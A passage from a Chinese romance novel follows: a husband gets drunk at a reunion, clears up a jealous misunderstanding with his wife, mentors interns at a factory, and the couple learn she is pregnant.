越舟远远瞧着这边苗头不对,赶紧过来将他拉走,边走边玩笑说:“行了,涂大商人,这还没开始喝酒呢,怎么就觉得你有点醉了呢?” “我可没醉,不过说起喝酒,待会儿大家可都得不醉不归啊!老同学们这么长时间没见,可不得把酒言欢嘛!”涂伟博话说得漂亮,坐到椅子上后还要拉着人胡侃。 梁听芹冲着他的背影翻了个白眼,安慰李固言说:“他这人真是,比上学期间还不如了,你别放在心上。” 李固言笑了笑:“没事。” 酒过三巡,涂伟博端着酒杯又要逞能,他来到李固言身边,将他的空杯满上说:“今天开心,你可不能不喝啊。” 李固言皱了皱眉头,没接他手里的酒,他不善喝酒,所以一向是滴酒不沾的。 也不知涂伟博是怎么想的,就一个劲儿地跟他干上了,非要他把酒喝了才行。 两人僵持着,场面实在不太好看,其他人赶忙上前来劝:“涂伟博,你真是喝醉了,快到那边坐着醒醒酒吧。” “醉什么?我这才喝了两杯,哪能就醉了?” 他犟着不肯走,其他人也拿他没办法,又掉过头来劝李固言说:“要不你把酒喝了吧?就这一小杯。” 李固言抿了抿唇,看了他们一眼,端起面前的酒盅一饮而尽。 越舟瞧着,立马夹了一筷子菜放到他盘子里说:“压一压,压一压,这喝得急了容易醉。” “没事。”李固言轻咳一下,表情平静无波。 越舟仔细看了他一眼,见真没什么事才又把涂伟博给拽走:“行了,酒也喝了,咱到那边去。” 一场聚会结束,除了这些小插曲外,总体上还算是圆满。 聚会上喝醉的人不少,越舟先看顾着将这些人送上出租车,才有空回过头来问李固言:“你怎么回去?要不要帮你也打个的?” 李固言没说话,只是站在那里静静地看着他,越舟瞧着他的样子,心中闪过一个念头,他伸手在他眼前晃了晃,见没反应后说:“不是吧,你这是醉了?” “醉了?”旁边还没走的梁听芹听到这话也赶紧过来,“他刚刚还好好的,怎么会说醉就醉?而且除了涂伟博硬要他喝的那杯酒,也没见他另外再喝酒啊。” “他不会喝酒。”越舟现在先顾不上那么多,赶忙上前扶住李固言,生怕他一个不注意这人就躺倒在地了,他拍了拍他的脸又问,“那我给你叫个车回去?” “不要。”李固言拒绝的十分干脆。 越舟也有点头疼,“那你怎么回去?” “要我老婆来接我……”李固言嘟囔着,瞧着像是想闭眼的样子。 “喝醉了?”舒英接到电话正在家看电视了,怎么也想不到不过是参加一个同学聚会,怎么会喝到连家都回不了。 越舟也很无奈道:“他现在非要让你来接他。” “行,我现在就过去。”舒英挂掉电话后就回家换衣服,连忙打车去那个饭店。 梁听芹因为放心不下,也一直都没走呢,跟着越舟一块儿等着李固言妻子过来,她咬了咬唇,不想承认自己是想见一面他妻子,她想知道他妻子究竟是怎么样的人,竟会让一向冷静的他这么着迷。 舒英也没见过李固言醉酒的样子,路上也一直在担心,到了地方后一时还有些摸不着方向。 还是李固言眼尖,喝醉了的人竟还能一眼就看到她,喊道:“舒英!” 越舟被他这突如其来的一嗓子吓了一跳,接着就看到不远处小跑过来一个女人,他这也是第一次见他妻子。 李固言见舒英过来后,说什么都要从越舟身上起来,伸着手就要她抱。 他身形高大,往她身上一搂,简直将她遮了个严严实实,舒英调整了下姿势撑着他对越舟道谢:“谢谢啊,那我就先带他回去了。” 越舟也有些歉意:“就给喝了一杯酒,实在没想到会醉成这样,真是抱歉。” “没事没事。”舒英按着他将他塞到出租车里,又对着他这两个同学点了点头后,一同坐了进去。 出租车远去,越舟把人安全交接后也一身轻松,笑着对梁听芹说了句:“瞧着他们俩还挺般配的,固言自己就跟画报明星一样,找了个老婆也像个画报明星。” 梁听芹还在看着出租车的影子失神,也没听清他说了什么,胡乱点了下头答应,“是。”心里是说不出的失落,其实在知道他已经结婚的时候,她心里还是抱着一丝侥幸的,她觉得像他这样的人 ,这个世界上真的有人能够配得上他吗? 但亲眼看到后,心中又有些释然,不是因为他妻子有多漂亮,而是因为他是真的爱她,所以在看到她后就移不开眼,满心满眼的都是她。 出租车上,李固言靠着舒英的肩头睡觉,舒英伸手在他脸上摸了摸,觉得他这样实在可爱,也不耍酒疯,就安安静静睡着,而且不像平时那样端着大人的包袱,有了点小孩子的调皮。 到家后,舒英一个人挪不动他,还是司机师傅帮着一块儿给移到了房间里。 他歪歪斜斜地倒在床上,舒英帮他把鞋脱掉,又去解他衬衫的扣子,就听他鼓着嘴哼唧,一会儿要让她抱,一会儿又要让她亲,她笑盈盈的,对于他的小要求全都满足。 “喝点蜂蜜水再睡。”舒英搂着他脖子撑着他坐起来,将杯子喂到他嘴边。 李固言现在十分听话,小口啜着将一杯温热的蜂蜜水全都喝完后才又躺倒下去。 舒英又拿了湿毛巾给他擦脸,听他嘴里在小声嘟囔着什么,她没听清,问了一声:“你说什么?” 李固言闭着眼又说了一遍:“你不要喜欢严建中了。” “严建中?”舒英不解地隆起眉,“我喜欢他干嘛?” 第28章 第 28 章 说开 李固言听到这句话像是突然酒醒了一般, 突然睁开眼很认真很认真地看着她问:“那你喜不喜欢我?” 舒英瞬间觉得自己脸颊发烫,开着的窗户吹来外面的风,风中夹杂着院子里的月季花香。 她没有回答, 李固言又缓缓闭上眼, 再度陷入沉沉的昏睡中。 舒英看着他面上的酡红,用只有自己才能听到的声音说:“喜欢。” 太阳从东边升起,一抹天光乍亮, 也照亮机械厂家属院的这间小小房间。 李固言嘤咛一声,皱着眉伸手揉了揉有些刺痛的太阳穴,这一夜睡得光怪陆离,就记得自己好像做了很多个梦, 但又记不清梦的具体内容是什么。像一只不会织网的蜘蛛,将网织的乱七八糟,让人理不清头绪。 只隐约听见什么“喜欢”。 “醒了?”舒英打了水进来,拧了湿毛巾递给他。 李固言从床上坐起, 嗓子还有些干哑, 咳了两声才找回自己的声音问:“现在几点了?” 舒英看了眼腕表回道:“六点多一点,放心, 不会迟到。”说完又用很奇怪的眼神看了他一眼。 李固言迎着她的视线, 心中微微不解,擦干净脸后想了一会儿也没想通怎么回事儿,索性不想,他下床穿好衣服, 跟着出了房间。 舒英其实是在想昨天晚上他不经意间脱口而出的那句话,她昨天晚上没意识到,今早才想起来,难道在他心里, 她一直喜欢严建中? 她好气又好笑地咬了一口馒头,眼睛还直勾勾地盯着他,直盯得他有些莫名,放下碗环顾了一下自身,随后才小心翼翼问道:“我身上怎么了吗?” 舒英摇摇头,问:“你真不记得昨天晚上发生了什么?” “我应该记得吗?”李固言眨着忽闪忽闪的大眼睛,今天一早她就有些不对劲,难道他昨天晚上惹她生气了?他发酒疯了?还是藏的私房钱被她发现了?天地可鉴,他就藏了一百块钱的私房钱,这还是前段时间厂里刚发的奖金,其它工资可都是老老实实上交的! “哼。”舒英没跟他解释,吃了饭后把碗往前一推,拿了包就去上班去了,徒留疑惑的李固言在家里便洗碗边疑神疑鬼。 昨天晚上到底发生了什么?他到底是干什么了?李固言神思不属地上了一天班,也琢磨了一天,但硬是什么都没想起来。 他晚上下班的晚,回来到的时候,舒英正在院子里给月季浇水,月季花现在开得正艳,大团大团地绽放,粉的红的,花瓣上喷了点水,娇丽丽地倚着墙,当时种的时候就听说月季好养,没想到这么好养。 舒英听到动静,扭头看了他一眼,随口说了声:“回来了。” “嗯,回来了。”李固言拎着公文包的手指紧了紧,犹豫着蹭过去,谨慎试探,“今天上班怎么样?开心吗?” 舒英斜了他一眼,说:“上班哪有什么怎么样,每天都那样呗。” 李固言点点头,觑着她的神色,又说:“对了,我们厂里说过段时间厂里要来实习生,据说也是省工大毕业的。” “那不挺好的嘛,正好跟你是一个母校的,是你师弟师妹了。” 李固言瞧着她不像是心情不好的样子,遂悬着的心总算是放下去了点,又小心地问:“我昨天晚上惹你生气了吗?” 舒英无奈笑起来,睨了他一眼,怪不得一回来就说这些乱七八糟的东西,合着在这等着她呢,她把手里的水壶放下,转身进了房间。 李固言也没想到怎么一句话她又不回了,看来昨天晚上是真将人惹生气了,他赶忙追上去,脑子里正想着要怎么哄人的时候,就听人幽幽来了句:“我喜欢严建中?” 他瞬间瞪大眼睛,双脚像被粘在了地面上一样,再也不得往前一步。 舒英隆起眉,咬着唇抱胸看着他,眼神十分锋利:“我什么时候跟你说我喜欢严建中了?” “没、没,没跟我说。”李固言下意识道,说完才反应过来她话里的意思,又不可置信的进一步确认问,“那你……是不喜欢他吗?” 舒英第一次觉得他这么笨,她深吸一口气,鼻子像是要喷火,耐心地回道:“我不喜欢他,他就是我楼上的邻居,而且人家也结婚了,我喜欢他干嘛?” “我,我就是听别人说的,说你结婚前就暗恋他,只是后来他结婚了,所以你才答应去相亲的……”他越说声音越小,时刻观察着舒英的表情。 舒英冷哼一声,转身给了他一个背影。 李固言这下也顾不上她是不是在生气了,因为他自己已经快要被巨大的惊喜淹没了,一直不敢去探究的秘密此时毫无保留地在他面前铺开,他高兴还来不及。 他上前从背后抱住她,在她耳垂处厮磨,暗沉的声音诉说着自己的欢喜。 他炙热的呼吸喷洒上面,舒英痒得缩起脖子,转过身推了他一下,“别高兴的太早了,我还没跟你算账呢。” 李固言笑得眼睛弯起来,凸起的喉结上下滑动了一下,他又俯身倾过来,眼睛一错不错的望着她:“你想怎么算账?” “离这么近做什么?”舒英被他突如其来的动作逼得上半身后仰,脸上也泛起潮红,往后退了退才道,“罚你……” 她皱起眉想了想:“罚你什么好呢?” “罚我拖一个月的地吧?” “行,就罚你拖一个月地!”她说完听到他闷闷的笑声,才反应过来蹙起眉鼓起脸,“你现在一点也不老实了,都敢捉弄我了!”本来家里的地就都是他拖的,这罚不罚有什么区别? 李固言赶忙认错,“再也不敢了再也不敢了,你就原谅我这回好不好?嗯?”尾音上扬,像个勾人的狐狸精。 舒英不想惯着他,想了想说:“你最近最好老实点,等我想好怎么罚你再说。” “好,都听你的,你说怎么罚就怎么罚,我肯定不会有一丝异议!”李固言四指朝天作发誓状。 舒英伸手将他的手拍下去,“还不快去做饭!” “就去就去。”李固言嬉皮笑脸的,最后又在她唇上啄了一下才出去。 一到傍晚,家家户户都架起锅,家属院里的空气飘满了各式各样的菜香味。 隔壁的汪汪这时候也被解了脖子上的绳索,快活地耸着黑乎乎的小鼻子。 夏天天热,大家都喜欢将桌子搬到院子里,一边纳凉一边吃晚饭,舒英俩人也不意外,这时候的天将暗未暗,院子里也开了灯,正好照亮桌子上的饭菜。 一到夏天,蚊虫也多起来,尤其是住在一楼的人家,简直是防不胜防,在院子 里吃着饭,桌下还得点盘蚊香,就这样也没办法幸免,舒英小腿上被叮了好几个包,又红又痒。 李固言赶紧去房间里拿了花露水过来,倒在手上往她腿部涂抹,花露水味道有些霸道,舒英觉得自己鼻腔里都是花露水的味。 两人正吃着,隔壁院子也搬了桌子出来,两户人家隔墙问候了两句,“舒英,你们晚上做的啥?” “没做啥,烧的稀饭,又简单炒了俩菜,天热,就想吃的清淡点。” 吴嫂子听到这话也感叹说:“是,我们家也就炒了两个素菜,这天气太热了,厨房里跟火炉一样,真是一点不想在里面待。而且孩子也不在家,就更不想费那劲去做饭了。”两个孩子现在正放暑假,晓丽中考一结束就带着晓明去了东北姥姥家。 舒英笑了笑问:“晓丽这成绩快出来了吧,他俩啥时候回来呀?” 吴嫂子也笑起来:“今天打电话的时候正说呢,说等录取通知书下来就回来了,说晓明在姥姥家没人管着都要玩儿疯了,天天不是上树就是下河!”本来吴晓明就是个人来疯的性子,到了那边表兄弟好几个,又有姥姥护着,更是无法无天了。 “孩子过暑假嘛。”舒英这么一说也想起自己小时候的暑假来,她笑着对李固言说,“我小的时候,一到暑假,爸妈要上班,也没人看着我们,我们兄弟姐妹四个就要被我爸送到乡下奶奶家去。” 李固言看着她问:“玩得开心吗?” “开心。”舒英笑吟吟的,“乡下连电灯都没有,一到夜里就点煤油灯,有时候天气好,月亮圆,就在月亮地里玩,也不知道那时候怎么那么开心。” “那时候一到傍晚,就跟着村里的大孩子一块儿出去粘知了,就用一根好长的竹竿,头上糊点儿糨糊,一粘一个准儿,粘完了拿回家让奶奶炒着给我们吃。” “你还敢吃这个呢?”李固言看着她,有些诧异。 舒英反问:“怎么,你不敢啊?” 李固言老实摇头,“不敢,小时候夏天我们也去捉过,捉回来炒好端到桌上,我从来不敢吃。” 舒英哈哈笑起来,有点恶趣味地说:“可好吃了,嘎嘣脆,现在好像还有卖的,回头我去买点回来。” 她看着他脸上的表情笑出声:“唔,我突然想到对你的惩罚了,就罚你吃知了,起码得吃十个才行。” 机械厂没多久就来了新的实习生,李固言手下也被分了两个,一男一女,男学生叫简光远,女学生叫袁宜。 还没毕业的学生刚进了实习单位,满脸都是新奇,李固言望着他们好像从他们身上看到了自己的影子,他笑着问:“怎么样,还适应吗?” “都适应,李老师。”简光远好奇问,“老师,你一毕业就在咱们机械厂工作吗?” “是啊,算算到今年也六年了。”李固言看着他们又问,“系里的张老师怎么样了?当年我们可就是张老师教的。” 袁宜道:“张老师现在已经是副院长了,我们这一届也是张老师带的,张老师还时常说起您呢,说您当年学习最刻苦认真,特别肯钻研!” 李固言笑笑:“张老师是好老师,他带出来的学生都不会差的。” 他又带着他们四下转了转,将机械厂的各项设施都给介绍了遍后说:“行,你们今天刚来,还不太熟悉,今天先回宿舍收拾一下东西,明天再开始上班,早上定好闹钟,千万不要迟到。” “好!” 等李固言走后,袁宜拉着简光远道:“以前常在老师们口中听到这位师哥,没想到这么有缘分,咱们实习的带教老师竟然会是他。” “是啊,百闻不如一见,这位李师哥真不愧是被老师们念叨了这么些年的人,长得这么好看!我一个男的都觉得好看。”简光远感慨说。 袁宜瞥了他一眼:“你这话说的,什么叫你一个男的都觉得好看,好看的人是有眼睛都能看出来的好吧?” “是是是,我说错了。”简光远求饶,“姑奶奶你累不累啊,行李铺盖都还没收拾好呢,咱赶紧回去收拾去吧。” 袁宜白了他一眼,扭身朝着女宿舍走了。 简光远在身后也忍不住翻了个白眼,觉得她事儿真多。 李固言这还是第一次带学生,教了几天后,也有些兴奋,回到家后忍不住和舒英分享。 “这两个学生我瞧了,女孩比男孩要强些,什么事儿都想拔尖儿,一有不懂的就拉着你追问,很好学。男孩相对就懒惰了点,平时就喜欢走神,也不知道天天都在想些什么。” 舒英道:“各人性格不同。不过听你这么说,女孩子跟你性格倒是合,你自己不也是要强拔尖的吗?” 李固言笑了笑:“这是重工业,女孩子在这个专业是要辛苦些,当年我们班一个班三十五个人,女同学也就一只手的数,我这两天也问了一下他们,他们班女生也不多。” “说起实习生,我带的小胡今年也签了我们医院了,原本都说换了新院长,还怕会出什么变故,这要是一个没整好,说不定小胡连工作都没了。”舒英用风扇吹头上的湿发,闲聊道,“不过我们医院现在又招了好多新医生,都是新院长招进来的,个个都是高学历。” 李固言找了干毛巾给她吸头发上的水,说:“那看来你们院长是真的铁了心的想将二院给办好了。” “这样也挺好,也省得外面一提起二院都一脸不知道说什么的样,导致我们在二院上班也觉得脸上没光。”舒英懒懒地趴在他大腿上,任由他给自己擦头发吹头发,“不过我也在想我要不要再自考个本科,要不然院里一直进好医生,总觉得自己落后的有点多了。” “那就考啊,明天我去打听一下自考本科是个什么流程,你先把书看起来,等本科读完了,说不定还能继续读研究生。” 舒英笑起来,抬手点他的下巴:“你想的还挺美,读完了本科还研究生,你也不怕到时候我念了硕士就看不上你了。” “那这样可不行。”李固言停下手上动作,低头看着她,“你飞黄腾达了怎么能嫌弃糟糠夫呢?这种思想不对、不对。”边说边摇头,表情十分认真。 话题又是一拐,李固言问:“明天想吃什么?” 舒英想了想说:“想喝鱼汤,要那种喝着特别鲜美的。” “那你明天下班的时候顺便买条鲫鱼回来,等我下班后烧。” “行。” 两人笑闹一阵,等舒英头发吹干后,才一同睡去。 第二天下午下班,舒英拐到菜市场买了尾大鲫鱼,又买了块嫩豆腐,装在菜篮子里拎着往回走。 她特意挑的鲫鱼又肥又胖,肉质肯定鲜美,到时候和豆腐一块儿煲汤,想想都口齿生津。 她拎着菜篮子刚走到机械厂,在厂子和家属院的交接地界正好看到李固言,他和一位同事站在一块儿,手里拿着文件,表情认真,像是在解说什么。 舒英走过去,李固言察觉到有人过来,下意识抬头,看到她后笑开颜:“你回来到了?”目光顺着移到她手里的篮子,很有眼力见地接到自己手上。 舒英看了眼他旁边的姑娘,小姑娘也好奇地看着她,李固言忙指着舒英介绍说:“这是我妻子,你应该叫她师母?”说起“师母”这个词像是有些不好意思一样,含含糊糊的。 又对舒英介绍小姑娘:“她就是我跟你讲过的学生,叫袁宜。” 舒英笑着朝她打了个招呼,客气问了声:“晚上准备怎么吃?要不要来家一块儿吃?” 袁宜慌忙摆手,小脸也有些红起来,“我在食堂吃,老师,师母,时间不早了,你们赶紧回家吃饭吧,我也走了。”话说完就跟兔子似的跑了。 舒英瞧着她,觉得有些可爱,但又想起那本书,书里的女主角也是李固言的实习生,两人就是在长时间的共事中日久生情的,想到这,她看了眼旁边挎着菜 篮子,显得有些土气的李固言,绕他看了一圈后,颇有些阴阳怪气道:“你还挺招学生喜欢。” 李固言对她的行为有些疑惑,他回头看了一眼袁宜跑走的方向,随口道:“小孩嘛,有不懂的地方肯定要耐心解释的。” 快走到家门口时,李固言突然恍然似的凑到她面前问:“你是不是吃醋了?” “吃醋?吃什么醋?”舒英说完快步推开门进了屋子。 李固言落后两步,站在院子里偷笑,心情十分美妙的样子。 舒英在屋里看着他脸上的笑,重重咳了两声。 李固言连忙收敛起脸上表情,拎着篮子进屋,将鲫鱼拿到厨房去处理干净,将鳞片刮干净,又将内脏掏出来,一切处理好后才放到锅里煮。 一锅鱼汤就是两个人的晚饭了,李固言将鱼汤端上桌,促狭道:“汤里没放醋。” 舒英听到这话立马拍了他一下,“说什么呢!” “没有没有,开玩笑的。”她这一巴掌可一点没收力,李固言连忙捧过她的手问,“手疼不疼?” 舒英瞪了他一眼:“你不乱说话,我怎么可能会疼?” “好好好,都怪我乱说话。”李固言抬手打了下自己的嘴,讨好道,“保证以后都谨言慎行。” 舒英哼一声:“你就作怪吧。” 吃着饭,李固言又说起自己的俩学生,道:“我心里想着他们还是孩子呢,其实也不小了,都是成年人了,有些分寸我还是知道的。”他高兴她吃醋,但也会怕她误会,高兴过后就赶紧对她解释,生怕她会有一丝一毫的不开心。 这他是真的想多了,舒英怎么可能会吃一个学生的醋,而且那孩子一看就是一门心思都用在学习上的人,她纯粹是因为想到了书里的女主,在心理上有些不自在罢了,不过他既然这样说了,她还是有些开心的。 长到这么大,什么牛马蛇身没见过,有些没有师德,引诱学生的事情也没少发生,就连她们二院也出过这档子事。 李固言饭量大,一锅鱼汤大半都被他吃了,舒英吃到最后也觉得有点撑。 李固言道:“我今天找人打听了一下自考本科的事,说每年可以考两次,一次在4月,一次在10月,提前拿着专科毕业证书就可以报名。现在快九月了,你可以先准备明年四月的那场考试,要是没过还可以再参加十月份的。现在市面上也有卖自考的教科书的,等明天我去书店给你买回来你先看着。” 舒英也没想到他说打听,这么快就都打听好了,她点了点头,笑着道谢。 “谢什么。”李固言想到什么又笑起来,“只要你考上后别忘了我这个糟糠夫就行。” 舒英横了他一眼,微微鼓着脸:“你刚刚还说管住嘴呢,现在就又开始乱说话了。” 李固言笑着:“没有没有。吃好了吗?吃好我就把碗收了。” “你收吧。”舒英点头,突然觉得胃里翻滚,有些想呕。 李固言刚把碗筷端起来,见状连忙问:“这是怎么了?是不是生病了?”看她呕得难受,吓得他嘴都白了。 舒英摆摆手:“没事,估计是吃太多,吃撑了。” 第29章 第 29 章 怀孕 李固言还是有些不放心, 问:“要不去医院看看吧?正好离二院也近。”这时候就体现出住在医院旁边是一件多么方便的事了。 舒英揉了揉肚子,深呼吸几下后,那股反胃的感觉又被压了下去, 她摇摇头:“真没事, 应该就是吃多了,你要不放心,等明天上班的时候我就去挂号。” 李固言见她不想去, 只好给她倒了杯温水过来,“喝点水缓缓。” “嗯。”舒英抱着杯子小口小口喝着,温水下肚,身体也舒服多了。 “那今天早点睡吧。”李固言道, “你现在在院子里吹吹风,我去把蚊帐里的蚊子打一打。” 舒英点头:“好。” 过了会儿,李固言将一切弄好后才喊舒英进屋睡觉。 蚊帐里的蚊子被驱赶的干干净净,李固言又将开合处用夹子紧紧夹住, 风扇在床尾对着吹, 竹席也清凉舒适,舒英躺下后没多久就昏昏欲睡。 就在那将睡未睡之际, 舒英突然想起一件重要的事, 她的例假好像有段时间没来了。 不会吧?她睁开眼,眼前是李固言宽阔的胸膛,她例假周期长,准的时候也要四十多天才来, 有时候还不准,所以就算有段时间没来也实在难以注意。 “怎么了?”李固言察觉到她的动作,以为她又开始难受,连忙坐起来将房间里的灯打开。 灯光有些晃, 舒英眯了眯眼,“没事,就突然想起一件事。”她将猜测压在心底,想着明天去上班的时候检查一下。 李固言打量着她的脸色,见面色红润,也不像是生病的样子,这才稍稍安心,又将灯拉灭,往下躺倒。 舒英心底压着事儿,这一夜睡得恍惚,第二天早上起来的时候也有些萎靡,上班的路上,她摸着小腹,也在心里想,这里要是真的来了个小生命该怎么办。 她结婚也三年了,相较于有些夫妻结婚一年就抱了孩子,她这不算早了,而且说实话,她也很期待新生命的加入。 到了医院,舒英先签到,等将药房的工作处理的差不多后,对小胡说:“我有事出去一下,你先看会儿。” “好,姐,你去吧。” 二院是综合医院,什么科室都有,他们医护人员挂号看病相较于普通病人要方便快速许多。 她在妇科加了号后,做了几项检查,没多久结果就出来了,舒英看着检查单上的“阳性”显示,一时也有些沉默,想象是一回事,现实又是一回事,得知怀孕的这一刹那,她心情很复杂,既期待欢欣,又觉得迷茫无措。 这是一条新的生命,她现在真的可以做好一名母亲吗? 舒英回到药房,精神还有些恍惚,医院里也没什么秘密,检查单刚出来的时候,妇产科的医生恭喜她被来往的护士听到,一传十十传百的,药房里的几人也就都知道了。 小胡见她回来,笑嘻嘻地上前:“姐,你现在肚子里有小宝宝了哎!” 蒋姐和汪姐也赶紧拉着舒英坐下,“你这头三个月,还危险着呢,可不能太劳累,赶紧坐下来歇歇。” 舒英点头道谢。 蒋姐瞧着她的神色,问:“小舒,这怎么瞧着你还没那么高兴呢?” 舒英犹豫着将自己的疑惑说出来。 汪姐率先笑起来:“哎呀,怕什么,小孩子好养得很,你们现在都生一个,我们那时候一生就是好几个,谁家不是好几个孩子,不也都长大了吗?” 蒋姐也说:“小舒啊,你这就是想的有点多了,孩子生出来了你就知道了,哎呀,软软呼呼的,别提多让人喜欢了。” 汪姐和蒋姐就着这个话题越聊越兴奋,舒英唇角弯了弯,想着待会儿中午回去跟李固言说一声,也不知道他怎么想的。 舒英到家的时候,李固言还没回来,她今天不想做饭,从食堂打的饭回来的。 李固言回来的时候还买了一个大西瓜,一进屋就问:“你今天去检查了吗?是不是生病了?” 舒英看着他摇头,“没生病……” 李固言瞬间舒了一口气,没生病就好,“我刚刚一下班就去书店给你买书去了,回来的时候正好看路边有卖西瓜的,就买了一个回来,我现在切开了?” “我怀孕了。”舒英等他说完后道。 “怀孕?”李固言刚从厨房里拿了刀出来,冷不丁听到这个消息,瞬间怔住,“你,你,我,我……”惊得连话都说不全了。 舒英瞧着他这样子比自己也没好到哪儿去,心理瞬间平衡很多,不由得笑出了声。 李固言听到这声笑, 好像才恍然回神,连忙将手里的菜刀放到桌上,上前扶着她坐下,“医生怎么说的?” “你先切西瓜,我想吃西瓜。”舒英现在心情异常的平静,等吃上西瓜后才迎着他急切又不敢过多追问的目光缓缓道,“说怀孕两个月了,其他的一切正常。” 舒英:“我说我怎么觉得最近腰粗了点。” “瞎说,哪里粗了,我瞧着你这段时间苦夏还瘦了呢。”李固言反驳道,看了眼她打回来的饭菜说,“我再去厨房炒个葫芦,你这段时间吃饭都没什么胃口,食堂打的菜太腻了。” 舒英点点头,又吃了两牙西瓜,李固言见状赶忙制止:“西瓜吃多了也不好,就先吃这些吧。” 她瞧着被他端走的西瓜撇撇嘴,随手翻了翻他买回来的教材。 李固言进了厨房后,手还在抖,心也悬浮着,头重脚轻,像是在做梦一样,他和舒英有了孩子了,虽然现在孩子可能还只是一个胚胎。 以往他也幻想过自己的孩子会是什么样,孩子不管是性情还是长相一定会很像他/她的妈妈,聪慧机灵,可爱又灵动,会是所有美好的代名词,他眉眼弯了弯,只觉得心中涌出了一股巨大的幸福感。 炒的菜上桌后,李固言看舒英在看买回来的教材,突然有些犹豫道:“你现在怀孕两个月,那算起来差不多就是明年四月份生,那你四月份的考试恐怕就不能参加了。” 舒英抬头看了他一眼说:“没事,等生了孩子后正好能休六个月的产假,我等着参加十月份的。” 李固言还是觉得有些愧疚,他低垂了眉眼,轻声说:“感觉还是耽误了你。” 舒英笑起来,伸手摸了摸他的头:“什么傻话,孩子已经来了,难道还能打掉吗?而且我既然已经决定了去参加考试,也不会因为有了孩子就放弃的,只不过是推迟了几个月而已,再说就算我参加了四月份的考试,也不一定就能考上啊,我这上班都多少年了,这些课本上的知识早就忘得差不多了。” 李固言笑了笑,大掌抚上她的小腹,手下明明没有任何动静,但他就好像感受到了她的生命一样。 “是我们的孩子。” “是,我们的孩子。” 两人相视而笑,笑容中满足又幸福。 李固言瞟到墙上挂着的婚纱照突然道:“我们买个相机吧,我想把这段时间都记录下来,从你怀孕开始到孩子出生成长,全都拍成照片,以后回看的时候一定很高兴。” “行,钱在饼干盒里,你自己拿吧。” 舒英这边怀孕两个多月,王梅那边也生了,夜里发动的,生了个小男孩。 舒妈抱着孙子高兴得合不拢嘴,说:“咱家这几年真是热闹了,小孩一个接一个的,去年有了贝贝,今年有了宝宝,明年就到英儿了。” 王梅生的孩子,小名就叫宝宝,舒秀珍刚知道的时候差点没忍住又是一个白眼,宝宝贝贝,她王梅不就是想自己生的孩子压她的孩子一头吗?但她跟王梅不对付,宝宝到底是她亲侄子,看到的时候还是喜欢的。 贝贝现在九个月了,虽然还不会说话,但已经会发出一些简单的音节了,舒英握着她的手逗她:“叫小姨,小姨~” 这个时候的孩子记忆力差,两个星期不见就能把人忘得一干二净了,贝贝趴在舒秀珍怀里看着舒英,哼唧着不肯看她。 舒英绕过去,用手指轻轻点了点她的小肉脸,笑道:“小没良心的,这么快就不认识小姨了。” 舒秀珍也笑,抱着贝贝的腋下将她放在床上,圆滚滚的头,圆滚滚的小肚子,比店里卖的洋娃娃还可爱。 舒英瞧着心里软软的,忍不住想要伸手抱她,舒秀珍见状赶忙说:“她现在劲儿可大了,你现在还没满三个月呢,小心她踢到你肚子。” 舒妈逗弄着小孙子,也说:“就是呢,别天天不当一回事儿。”说完又叮嘱李固言,“固言,你平时可看好了她,这段时间千万不能累着,而且两三个月的时候最难受了,什么东西都吃不下,吃什么吐什么。” 李固言在旁边虚心听着,边听边点头,表示自己记下了。 舒妈又笑起来说:“你们兄妹三个我是不操心了,接下来就轮到武茂了。”舒武茂前不久刚跟家里坦白交了女朋友,就是舒英和李固言去年在广场上见到的那个叫司容的女孩,是他一个学校的老师。 但家里地方小,两室一厅的小房子,两个房间一间舒爸舒妈住,一间舒文佑和王梅住,平时舒武茂住学校宿舍,偶尔回来也就是在客厅凑合一晚,这种情况,结了婚家里哪里住得下? 但这要是结婚可得有婚房,舒爸舒妈也是愁得不行,寻思着在他学校那边给他买一间房,但房子也不便宜一时间还有些凑不够手,但幸好舒武茂现在年龄还小,再等个一两年把房子钱凑够了也行。 舒英笑着瞧了舒武茂一眼打趣说:“可以啊,这么快就成了你女朋友了。” 舒武茂到底年轻,面皮薄,一听这话瞬间脸红起来,闷不吭声地削着苹果皮。 不知道是不是孕激素的变化,舒英有段时间情绪坏极了,怎么看李固言怎么不满意,总是皱着眉随时想发火。 看书的时候听到他炒菜时铲子与铁锅碰撞的声音要生气,夜里睡觉被他搂着觉得热要生气,因为他加班回来晚了也要生气。 李固言这段时间一直惴惴不安,做什么事情都小心翼翼的,知道她怀孕辛苦,看到她难受,他也心疼得直掉眼泪。 过了这段时间后,舒英情绪又回归平稳,但想起那几天的所作所为又难免内疚,大半夜红了眼眶,觉得自己都不认识自己了。 李固言晚上睡得迷迷糊糊突然听见哭泣声,吓得他赶紧坐起来,打开灯问:“怎么了?怎么了?是不是腿又疼了?我给你揉揉。”她这段时间常常半夜因为腿又疼又肿而睡不着。 “不是……”舒英哭得糊的一脸都是泪,“我就是觉得我这段时间脾气好差,天天都在朝你发火。” 李固言听到是这个原因,登时放松下来,只要不是身体难受就行,他用手背抹去她脸上的泪,笑道:“哭成小花猫了。” 舒英看着他的笑,哭得更狠了,“哇”地一声说:“你怎么一点都不生气啊,你天天这么包容我搞得我好愧疚!” “那我现在生气。”李固言立马收了笑,故意拉着脸,怪声怪气说,“你这段时间这么坏,弄得我胆战心惊的,罚你一辈子都要哄我开心。” 他这哪里是生气,分明是扮鬼脸逗她呢,舒英破涕而笑,不好意思地将头埋进他怀里。 李固言抱住她,如珠如宝般,他柔缓地抚着她的背笑起来说:“好了不哭了,哭得我心都疼了。” “嗯。”舒英伸手紧紧环住他的腰,整个人都窝在他怀里,小声说,“对不起。” “有什么好对不起的,要说对不起该是我说才对,要不是我让你怀孕,你也不会这么难受,我都没说对不起呢,不许你先说。”李固言拉了被子将她包裹住,现在已经开始降温了,可别着凉了。 舒英仰着头笑了笑,在他下巴上亲了一下,又嫌弃道:“你胡茬都长出来了,好扎人。” “哪里扎人了?”李固言低下头去寻她的唇,啄了两下后故意用下巴蹭她的脸。 舒英大叫一声,赶紧从他怀里出来,双手捧着他的脸要离自己远一点。 李固言难得见她又开心起来,拉着她哄了半夜,才搂着人睡去。 其实李固言这段时间是很体贴的,每天早上都会把她要洗漱的温水兑好,连牙膏都要给挤好,上班下班也要接送她,哪怕就是走路也要牵着她把她送进医院后才去上班,就算加班也要先把她接回家再回厂里。 为了让她能有更多的时间看书,家里的家务活更是全部承包了,做饭洗衣,刷碗扫地,不让她插手一点,明明他自己上班也辛苦得不行,还要处处顾及着她的心情。 舒英看着他眼底的乌青,也有些心疼。 李固言一瞥到她的表情就知道她在想什么,他笑起来,屈指在她脑门上轻轻敲了敲:“别胡思乱想,只要你开心了,我才开心。” “哼,你就会哄我开心。”舒英听他这么说有些脸红,又怕被他看出来,嘴硬道。 